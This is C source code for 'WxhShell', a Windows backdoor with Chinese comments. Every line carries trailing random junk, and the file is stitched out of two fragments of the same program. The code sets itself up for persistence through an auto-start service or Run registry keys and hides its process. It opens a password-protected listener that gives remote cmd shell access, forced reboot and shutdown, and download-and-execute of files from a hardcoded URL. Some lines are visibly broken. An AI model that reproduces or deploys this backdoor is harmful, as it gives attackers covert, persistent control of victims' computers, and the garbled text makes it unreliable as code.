    } MZ9{*y[z  
  // 关机 4q%hn3\  
  case 'd': { ^uZ!e+   
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); H{&o_  
    if(Boot(SHUTDOWN)) `{1` >5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (y^[k {#  
    else { -TL `nGF  
    closesocket(wsh); c:;m BS>~  
    ExitThread(0); ~n)gP9Hv  
    } [}p/pj=  
    break; 2VSs#z!  
    } PWErlA:58  
  // 获取shell ^uG^XY&ItC  
  case 's': { %~z/,[wk  
    CmdShell(wsh); b \pjjb[  
    closesocket(wsh); Iv J ;9d  
    ExitThread(0); ykq9]Xqhv  
    break; I,rs&m?/m  
  } SM3qPlsF  
  // 退出 MqA%hlq  
  case 'x': { ;{@jj0h;  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); FPg5!O%  
    CloseIt(wsh); xRTr<j0s  
    break; QtF'x<cB  
    } $x%3^{G  
  // 离开 j?eWh#[K"  
  case 'q': { {'(1c)q>  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); A'jw;{8NpF  
    closesocket(wsh); l8O12  
    WSACleanup(); hU 3z4|~+  
    exit(1); _1<zpHp  
    break; e+_~a8 -|  
        } *ud"?{)Z  
  } K9-?7X  
  } ,7wxVR%Ys  
$s[DT!8N  
  // 提示信息 ss8de9T"'  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _b ~XBn  
} ZD)pdNX  
  } xKo l  
>icL,n"]  
  return; ow,4'f!d  
} l}#z#L2,`  
m{~p(sQL  
// shell模块句柄 =K#12TRf  
int CmdShell(SOCKET sock) #7wOr78  
{ AX {~A:B  
STARTUPINFO si; *58`}]  
ZeroMemory(&si,sizeof(si)); "CS {fyJ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; G:n,u$2a<  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; c5jd q[0  
PROCESS_INFORMATION ProcessInfo; L `7~~  
char cmdline[]="cmd"; vCPiT2G  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); y 093-  
  return 0; 9`3%o9V9Y  
} .6@qU}  
?<Tt1fpG  
// 自身启动模式 E0g` xf 6c  
int StartFromService(void) "F,d}3}  
{ %J_`-\)"{~  
typedef struct s@WF[S7D  
{ I 0/enL  
  DWORD ExitStatus; OZHQnvZ  
  DWORD PebBaseAddress; ~6:<OdQ  
  DWORD AffinityMask; L_3undy,  
  DWORD BasePriority; ~@3X&E0S  
  ULONG UniqueProcessId; (#4   
  ULONG InheritedFromUniqueProcessId; "R"7'sJMI  
}   PROCESS_BASIC_INFORMATION; H*l2,0&W  
Z+mesj?.  
PROCNTQSIP NtQueryInformationProcess; F?+K~['i  
INm21MS$  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ?qn0].  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; QQ+?J~  
Lyx \s;  
  HANDLE             hProcess; JN9 W:X.  
  PROCESS_BASIC_INFORMATION pbi; -Qs4 s  
:r<uH6x|  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); F2;k6M@  
  if(NULL == hInst ) return 0; )PM&x   
XQ+KI:g2  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); '?q \mi  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &x}a  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); YS}uJ&WoF  
\6UK:'5{  
  if (!NtQueryInformationProcess) return 0; RhJ{#G~:%  
|@J:A!  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); {b|:q>Be8  
  if(!hProcess) return 0; BE54^U  
&^R0kCF`  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; {x3"/sF  
*c\:ogd  
  CloseHandle(hProcess); ] ~;x$Z)  
7XE |5G  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >680}\S  
if(hProcess==NULL) return 0; 99'e)[\  
l;4},N  
HMODULE hMod; J#tGQO  
char procName[255]; wS Ty2Oyo;  
unsigned long cbNeeded; ,a N8`M  
 pw^$WK  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `"N56  
YlI/~J  
  CloseHandle(hProcess); sN6R0YW  
DKd:tL24&  
if(strstr(procName,"services")) return 1; // 以服务启动 :iWW2fY  
&E0d{ 2  
  return 0; // 注册表启动 w1Z9@*C!  
} #nQZ/[|  
+|#lUXC  
// 主模块 o6JCy\Bx  
int StartWxhshell(LPSTR lpCmdLine) 6#sd"JvtQ  
{ Fa}3UVm  
  SOCKET wsl; _9%R U"  
BOOL val=TRUE; <:[ P&Y  
  int port=0; w +QXSa_D  
  struct sockaddr_in door; fi5x0El  
ZPrL)']  
  if(wscfg.ws_autoins) Install(); tI2V)i!  
H_*;7/&  
port=atoi(lpCmdLine); clE_a?  
)bJS*#  
if(port<=0) port=wscfg.ws_port; C&Nga `J  
W(^R-&av  
  WSADATA data; $a^YJY^_  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; %,HuG-L  
oD_n+95B  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   4bV&U=  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Q\WH2CK  
  door.sin_family = AF_INET; `zQ2 i}Uju  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); FW](GWp`:  
  door.sin_port = htons(port); -4  ~(*  
ulY8$jB  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { IM""s]  
closesocket(wsl); 74Fv9  
return 1; tOQ2947zk  
} \UBTNY,  
uBdS}U  
  if(listen(wsl,2) == INVALID_SOCKET) { _gAU`aO^  
closesocket(wsl); m Mp(  
return 1; A1VbqA  
} l/(|rl#6  
  Wxhshell(wsl); BSe{HmDq  
  WSACleanup(); '@~\(SH  
;5i~McH# t  
return 0; cV=0)'&<`_  
%}T' 3  
} PVK. %y9  
0l.\KF  
// 以NT服务方式启动 zk\YW'x|r  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) _J|cJ %F>%  
{ N*Is_V\R  
DWORD   status = 0; Me*woCos'  
  DWORD   specificError = 0xfffffff; : `Nh}Ka0  
GJpQcse%  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ,{tz%\, %  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; _9y  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ^p@R!228  
  serviceStatus.dwWin32ExitCode     = 0; |j?iD  
  serviceStatus.dwServiceSpecificExitCode = 0; itH` s<E  
  serviceStatus.dwCheckPoint       = 0; G@Jl4iHug"  
  serviceStatus.dwWaitHint       = 0; ymNL`GYN[  
lWiC$  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); zO@7V>2  
  if (hServiceStatusHandle==0) return; UKfC!YR2J8  
"Uk "  
status = GetLastError(); ,WvCslZ  
  if (status!=NO_ERROR) qD#E, "%  
{ g8+Ke'=_  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; y<r@zb9  
    serviceStatus.dwCheckPoint       = 0; HU~,_m  
    serviceStatus.dwWaitHint       = 0; [{K   
    serviceStatus.dwWin32ExitCode     = status; Ym]Dlz,o  
    serviceStatus.dwServiceSpecificExitCode = specificError; :)~idVlV  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); QTy xx  
    return; ;!k{{Xndd  
  } zi7>!#(  
|I0O|Zdv  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; TB oN8cB}  
  serviceStatus.dwCheckPoint       = 0; 2D?V0>/  
  serviceStatus.dwWaitHint       = 0; 1cA4-,YO>  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); xJ0Q8A  
} {9/ayG[98  
Ts~MkO  
// 处理NT服务事件,比如:启动、停止 W-72&\7  
VOID WINAPI NTServiceHandler(DWORD fdwControl) RhL!Z z  
{ BGe&c,feIc  
switch(fdwControl) }@ +{;"  
{ qGH s2Og  
case SERVICE_CONTROL_STOP: RD$"ft]Vc  
  serviceStatus.dwWin32ExitCode = 0; );m7;}gE  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; gG>|5R0  
  serviceStatus.dwCheckPoint   = 0; 9rd7l6$R"  
  serviceStatus.dwWaitHint     = 0; 7yp}*b{s  
  { dx<KZR$!V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [6$n  
  } cb9ndZ)v.  
  return; ,j'>}'wG)  
case SERVICE_CONTROL_PAUSE: qYwEPGa\  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ~EV7E F  
  break; *j`{ K  
case SERVICE_CONTROL_CONTINUE: "b#L8kN  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; IM^K]$q$47  
  break; gGtl*9a=  
case SERVICE_CONTROL_INTERROGATE: @Yl&Jg2l'  
  break; t+2!"Jr  
}; ;q3"XLV(T[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); a$7}41F[~s  
} N'!:  
4ox[,  
// 标准应用程序主函数 Kt 0 3F$  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) X}Oo5SNgff  
{ a$~pAy5C  
7Zf * T  
// 获取操作系统版本 AJ:(NV1=  
OsIsNt=GetOsVer(); iaq+#k@V  
GetModuleFileName(NULL,ExeFile,MAX_PATH); i8kyYMPP  
6oQSXB@  
  // 从命令行安装 GJ3@".+6  
  if(strpbrk(lpCmdLine,"iI")) Install(); 3fb"1z#  
X=W.{?  
  // 下载执行文件 U)3*7D  
if(wscfg.ws_downexe) { 0fpxr`  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) {e1akg.  
  WinExec(wscfg.ws_filenam,SW_HIDE); JIA'3"C  
} 2,3pmb  
>@mvb@4*  
if(!OsIsNt) { DO^K8~]  
// 如果时win9x,隐藏进程并且设置为注册表启动 $?e_ l  
HideProc(); E&wz0d;gf  
StartWxhshell(lpCmdLine); ^J[r<Dm8F  
} {cW%i:  
else AMm)E  
  if(StartFromService()) XITh_S4fs=  
  // 以服务方式启动 JxV 0y  
  StartServiceCtrlDispatcher(DispatchTable); 0+vt LDq@P  
else Rl%?c5U/$  
  // 普通方式启动 Q.$|TbVfds  
  StartWxhshell(lpCmdLine); #7Pnw.s3zz  
;ye5HlH}.  
return 0; _@gd9Fi7J  
} RAh4#8]  
@C?.)#  
):c)$$dn  
h3<L,Olp  
=========================================== >,&@j,?']  
;4!,19AT  
/ZeN\ybx  
2# 1G)XI  
,8Yc@P_O  
GgNqci,  
" ],3#[n[ m  
ma%PVz`I;9  
#include <stdio.h> C~ r(*nr  
#include <string.h> y-/,,,r  
#include <windows.h> M(8Mj[>>Rj  
#include <winsock2.h> ,ezC}V0M  
#include <winsvc.h> B}&9+2M  
#include <urlmon.h> \mIm}+!H  
A'=,q  
#pragma comment (lib, "Ws2_32.lib") )^)j=xs  
#pragma comment (lib, "urlmon.lib") ,1!~@dhs  
@}8~TbP  
#define MAX_USER   100 // 最大客户端连接数 ayR;|S  
#define BUF_SOCK   200 // sock buffer ylo/]pVs  
#define KEY_BUFF   255 // 输入 buffer KIeTZVu$%  
.GM}3(1fX`  
#define REBOOT     0   // 重启 v[*&@aW0n  
#define SHUTDOWN   1   // 关机 bFv,.(h'  
kYl')L6  
#define DEF_PORT   5000 // 监听端口 ET1>&l:.  
'cpO"d?{  
#define REG_LEN     16   // 注册表键长度 T]fBVA  
#define SVC_LEN     80   // NT服务名长度 rZt7C(FM$7  
K@0/iWm*  
// 从dll定义API iL](w3EM  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); (0c L! N;;  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); j0eGg::  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); nbhzLUK  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %dN',  
%{sL/H_  
// wxhshell配置信息 wRATe 0'  
struct WSCFG { 8!!iwmH{  
  int ws_port;         // 监听端口 K5ywO8_6`  
  char ws_passstr[REG_LEN]; // 口令 IdzrQP  
  int ws_autoins;       // 安装标记, 1=yes 0=no ^-|yF2>`  
  char ws_regname[REG_LEN]; // 注册表键名 V.f'Cw  
  char ws_svcname[REG_LEN]; // 服务名 G9_M~N%a  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 aglW\L T^  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息  mDJg-BQ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 zq?Iwyo  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 1,/L&_=_A  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" uINm>$G,5  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \!_:<"nX.  
=q4 QBAW  
}; a BHV  
S(b5Gj/Kd  
// default Wxhshell configuration )iiwxpdw  
struct WSCFG wscfg={DEF_PORT, _s&sA2r<  
    "xuhuanlingzhe", x,3oa_'E  
    1, Ijs"KAW ?  
    "Wxhshell", N)0I+>, ^  
    "Wxhshell", -A\J:2a|  
            "WxhShell Service", yzml4/X  
    "Wrsky Windows CmdShell Service", -54  
    "Please Input Your Password: ", \qU.?V[2  
  1, CL U[')H0  
  "http://www.wrsky.com/wxhshell.exe", jgb>:]:  
  "Wxhshell.exe" 6J\Yi)v<  
    }; j+p=ik  
X[XSf=  
// 消息定义模块 9=-!~ _'1-  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 8+b ?/Rn0  
char *msg_ws_prompt="\n\r? for help\n\r#>"; f17pwJ~=  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; %mda=%Yn  
char *msg_ws_ext="\n\rExit."; |c]Y1WwDx  
char *msg_ws_end="\n\rQuit."; 8")1,   
char *msg_ws_boot="\n\rReboot..."; Xu1tN9:oE  
char *msg_ws_poff="\n\rShutdown..."; $g|/.XH%  
char *msg_ws_down="\n\rSave to "; U =()T}b>  
KL4Z||n  
char *msg_ws_err="\n\rErr!"; *+E9@r=HF  
char *msg_ws_ok="\n\rOK!"; Jk.Ec )w  
hE-u9i  
char ExeFile[MAX_PATH]; SGU~LW&  
int nUser = 0; RyGce' q  
HANDLE handles[MAX_USER]; olC@nQ1c*  
int OsIsNt; JvHGu&Nr!  
[-@Lbu-|  
SERVICE_STATUS       serviceStatus; s -Mzl?o  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 0!n6tz lT  
XK)qDg  
// 函数声明 (i,TxjS'od  
int Install(void); h5bQ  
int Uninstall(void); cD6$C31Y]  
int DownloadFile(char *sURL, SOCKET wsh); 1or4s{bmo  
int Boot(int flag); ,R j{^-k  
void HideProc(void); o0>z6Ya<  
int GetOsVer(void); T j7i#o  
int Wxhshell(SOCKET wsl); o)P'H"Ki  
void TalkWithClient(void *cs); RNyw`>  
int CmdShell(SOCKET sock); /x6,"M[97  
int StartFromService(void); m CFScT  
int StartWxhshell(LPSTR lpCmdLine); D]9I-|  
7P`|wNq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 1{oq8LB  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Tn+6:<OFdO  
21$YZlhJ  
// 数据结构和表定义 9=D\xBd|w  
SERVICE_TABLE_ENTRY DispatchTable[] = 9PA\Eo|Yb  
{ |0?h6  
{wscfg.ws_svcname, NTServiceMain}, ~+{OSx<S  
{NULL, NULL} [s-Km/  
}; yWa-iHWC  
?Sj3-*/?  
// 自我安装 3_W1)vd{  
int Install(void) /jQW4eW0  
{ LYPjdp2>"o  
  char svExeFile[MAX_PATH]; 0/d+26lR  
  HKEY key; Gb6t`dSzz  
  strcpy(svExeFile,ExeFile); nz:I\yA  
'W 5r(M4U  
// 如果是win9x系统,修改注册表设为自启动 }qlU  
if(!OsIsNt) { HTK79 +  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { vgSs]g  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dUOvv/,FZT  
  RegCloseKey(key); k:nR'TI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G\S\Qe{P~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Yxye?R-:  
  RegCloseKey(key); wSHE~Xx  
  return 0; . KJ EA #  
    } woJO0hHR  
  } 6LRI~*F=3  
}  E%\jR  
else { _D:#M  
& IVwm"  
// 如果是NT以上系统,安装为系统服务 7u]0dHj  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); vr<6j/ty  
if (schSCManager!=0) 0S <;T+WA  
{ \x i wp.  
  SC_HANDLE schService = CreateService OJ ng  
  ( :1"{0 gm  
  schSCManager, R{.5Z/Vp6E  
  wscfg.ws_svcname, W8j)2nKD  
  wscfg.ws_svcdisp, 'awL!P--  
  SERVICE_ALL_ACCESS, _IJPZ'Hr  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , S~fQ8t70  
  SERVICE_AUTO_START, ^'Wkb7L  
  SERVICE_ERROR_NORMAL, _ETG.SYq  
  svExeFile, EotZ$O=  
  NULL, t6&6kl  
  NULL, lj $\2 B  
  NULL, E\Hhi.-  
  NULL, y6ntGrZ}$  
  NULL Szrr`.']  
  ); u"r~5  
  if (schService!=0) sJ)XoK syW  
  { J >Zd0Dn  
  CloseServiceHandle(schService); u9rlNmf$  
  CloseServiceHandle(schSCManager); '"LrGvkZ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); sh(G{Yz@  
  strcat(svExeFile,wscfg.ws_svcname); @Ong+^m|PC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Q{6Bhx *>  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); A\Rkt;:  
  RegCloseKey(key); 'F3Xb  
  return 0; xlG/$`Ab  
    } >oi`%V  
  } MjCD;I:C.  
  CloseServiceHandle(schSCManager); q y73  
} (3YCe{  
} H%NIdgo}  
'&,$"QXwE  
return 1; ?_q e 2R.  
} s7=CH   
4hdxqI!y2  
// 自我卸载 vcs=!Ace  
int Uninstall(void) hI*gw3V  
{ 8 hx4N  
  HKEY key; ]TQ2PVN2  
tcyami6D4  
if(!OsIsNt) { xayo{l=uGv  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |?{3&'`J8w  
  RegDeleteValue(key,wscfg.ws_regname); ~pA_E!3W  
  RegCloseKey(key); j\& `  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { P3X;&iT  
  RegDeleteValue(key,wscfg.ws_regname);  4b]/2H  
  RegCloseKey(key); h^R EBPe  
  return 0; Yl%1e|WV  
  } Qa@b-v'by  
} m` ^o<V&  
} y<(q<V#0!S  
else { |}N -5U  
;0DT f  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =.`(KXT  
if (schSCManager!=0) 0 `%eP5  
{ ?145^ w  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); HwTb753  
  if (schService!=0) g bDre~|  
  { Hx[YHu KL^  
  if(DeleteService(schService)!=0) { .CGPG,\2  
  CloseServiceHandle(schService); .4E5{F{~  
  CloseServiceHandle(schSCManager); ZDEz&{3U;  
  return 0; D^qto{!  
  } 87WIDr  
  CloseServiceHandle(schService); FOJ-?s(  
  } R-8>,  
  CloseServiceHandle(schSCManager); kN(*.Q|VZ  
} ;f,`T  
} Y,BzBUWK  
jb;!"HC  
return 1; 52Sq;X  
} BfZAK0+*$  
cmG*"  
// 从指定url下载文件 )!SA]>-  
int DownloadFile(char *sURL, SOCKET wsh) N{oi }i6  
{ UrtA]pc3L  
  HRESULT hr; yOR]r+8  
char seps[]= "/"; #dy z  
char *token; iF]G$@rbU  
char *file; ;75m 9yGo  
char myURL[MAX_PATH]; @bs YJ4-V  
char myFILE[MAX_PATH]; qe. Qjq  
9!'qLO  
strcpy(myURL,sURL); 0 D^d-R,  
  token=strtok(myURL,seps); ~N "rr.w  
  while(token!=NULL) bY` b3  
  { `)5,!QPQ7u  
    file=token; /QuuBtp  
  token=strtok(NULL,seps); d^uE4F}  
  } wJ.?u]f@  
25EuVj`zL  
GetCurrentDirectory(MAX_PATH,myFILE); W5 l)mAv  
strcat(myFILE, "\\"); } @r|o:I  
strcat(myFILE, file); /%qw-v9qPV  
  send(wsh,myFILE,strlen(myFILE),0); tE|W8=be/  
send(wsh,"...",3,0); dKk\"6 o  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); VtM:~|v  
  if(hr==S_OK) &Bn> YFu  
return 0; @34Z/%A  
else [\i0@  
return 1; D1xIRyc/  
R1,.H92  
} IZ9L ;"}  
!u)>XS^E  
// 系统电源模块 JXT%@w>I  
int Boot(int flag) *U<l$gajq  
{ $*k(h|XfwW  
  HANDLE hToken; v@xbur\L  
  TOKEN_PRIVILEGES tkp; !UzMuGj  
, ZisJksk  
  if(OsIsNt) { cA,`!dG2,  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 62-,!N 1-  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); AiF'*!1  
    tkp.PrivilegeCount = 1; (ncm]W  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; HQ187IwpTm  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); /JcfAY  
if(flag==REBOOT) { [ClDKswq  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) yuef84~  
  return 0; bU3P; a(  
} d:<</ah  
else { ]3KMFV}  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Q<c{$o  
  return 0; DqH?:`G  
} `] fud{  
  } _N @ h  
  else { 4uX|2nJ2!;  
if(flag==REBOOT) { }CM</  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) av8\?xmo.$  
  return 0; xj!G9x<!  
} |_h$}~ ;  
else { hf`5NcnP  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) yIq. m=  
  return 0; #/,WgsAC  
} f{HjM? Mb3  
} @CB&*VoB  
cWU9mzsE  
return 1; 5R%4fzr&g  
} 6 3NhD  
.7K<9K+P  
// win9x进程隐藏模块 [6u8EP0xM  
void HideProc(void) p"dK,A5#)  
{ *NjjFk=R  
US'rhSV  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); j*fs [4  
  if ( hKernel != NULL ) vU9j|z  
  { EpCT !e  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +oRBSAg-  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); sQ aP:@  
    FreeLibrary(hKernel); ?l/+*/AR;  
  } h?-*SLT  
tj1M1s|a  
return; y?-zQs0  
} LcW:vV|'K  
Oh'C [  
// 获取操作系统版本 >"|"Gy (  
int GetOsVer(void) *%aWGAu:  
{ B.Y8O^rx  
  OSVERSIONINFO winfo; ,&ld:v?~  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); iebnQf  
  GetVersionEx(&winfo); n:P++^ j  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) v2KK%Qy  
  return 1; &fRZaq'2R  
  else :(TOtrK@  
  return 0; qgkC)  
} x*a^msY%  
@#1T-*  
// 客户端句柄模块 f}ES8 Hh[  
int Wxhshell(SOCKET wsl) Hq!|(  
{ }HLV'^"k  
  SOCKET wsh; "yG*Kh7ur  
  struct sockaddr_in client; F- l!i/  
  DWORD myID; EF5:$#  
qu+Zl1~$]  
  while(nUser<MAX_USER) #7BX,jvn>  
{ BW{&A&j  
  int nSize=sizeof(client); )mh,F# "L  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); vcz?;lg  
  if(wsh==INVALID_SOCKET) return 1; t +h}hL  
b Sm*/Q  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 9^2l<4^Z  
if(handles[nUser]==0) /=+Bc=<lZ  
  closesocket(wsh); bU{lV<R,  
else a<Ksas'5S  
  nUser++; ~7O.}RP0  
  } kx6-8j3gD7  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); b6ui&Y8z  
5o2vj8::  
  return 0; 'E_~>  
} tXW7G@  
z8*{i]j  
// 关闭 socket D\ kd6  
void CloseIt(SOCKET wsh) yl UkVr   
{ Mx_O'D  
closesocket(wsh); V4tObZP3Ff  
nUser--; ]~t4E'y)z  
ExitThread(0); U#' WP  
} BaXf=RsZ  
w[hT,$n  
// 客户端请求句柄 Qm5Sf=E7Q  
void TalkWithClient(void *cs) < NlL,  
{ Q%.F Mf  
 ie4BE'  
  SOCKET wsh=(SOCKET)cs; m=Fk  
  char pwd[SVC_LEN]; Eq/oq\(/6  
  char cmd[KEY_BUFF]; P`]p&:  
char chr[1]; {L.=)zt>  
int i,j; ~%Xs"R1c ,  
:~4 M9  
  while (nUser < MAX_USER) { 3.E3}Jz`  
&8M^E/#.^;  
if(wscfg.ws_passstr) { ;wKsi_``@  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `Yw:<w\4C  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5sI9GC  
  //ZeroMemory(pwd,KEY_BUFF); TM<;Nj[*n  
      i=0; ,l7',@6Y  
  while(i<SVC_LEN) { i2 7KuPjC  
C{2y*sx  
  // 设置超时 mz?1J4rt  
  fd_set FdRead; " 'TEBkj|u  
  struct timeval TimeOut; =L9;8THY  
  FD_ZERO(&FdRead); d8% sGH  
  FD_SET(wsh,&FdRead); tA{?-5  
  TimeOut.tv_sec=8; *Vr;rk  
  TimeOut.tv_usec=0; )Oix$B!-  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);  LAO2Py#  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); \z[L=  
[&K"OQ^\2h  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _ m<@ou7  
  pwd=chr[0]; J*m ~fZ^  
  if(chr[0]==0xd || chr[0]==0xa) { [E6ZmMB&  
  pwd=0; #5=!ew  
  break; |nT+ W| 0U  
  } IfzZ\x .  
  i++; `z~L0h  
    } -cL wjI  
X-}]?OOs  
  // 如果是非法用户,关闭 socket ZZJ<JdD  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); @lTd,V5f  
} zsmlXyP'e!  
t)^18 z  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {RHa1wc  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); JYO("f  
/\d@AB^5I  
while(1) { ]=?.LMjnH  
/j;HM[  
  ZeroMemory(cmd,KEY_BUFF); *(CV OY~  
#kRt\Fzq  
      // 自动支持客户端 telnet标准   @JU Xp  
  j=0; H rI(uZ]  
  while(j<KEY_BUFF) { f2G 3cg~H  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]y~"M  
  cmd[j]=chr[0]; !A'3Mw\Nm  
  if(chr[0]==0xa || chr[0]==0xd) { cs7K^D;.V  
  cmd[j]=0; \<Di |X1  
  break; )kvrQ6  
  } jWcfQ  
  j++; OXD*ZKi8  
    } !T$h? o  
gRg8D{  
  // 下载文件 [,Fu2j]  
  if(strstr(cmd,"http://")) { %eW2w@8]  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Uj twOv|pF  
  if(DownloadFile(cmd,wsh)) cn2SMa[@S  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); *IIuGtS  
  else JGQ)/(  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @f`s%o  
  } Z!*k0 <Z  
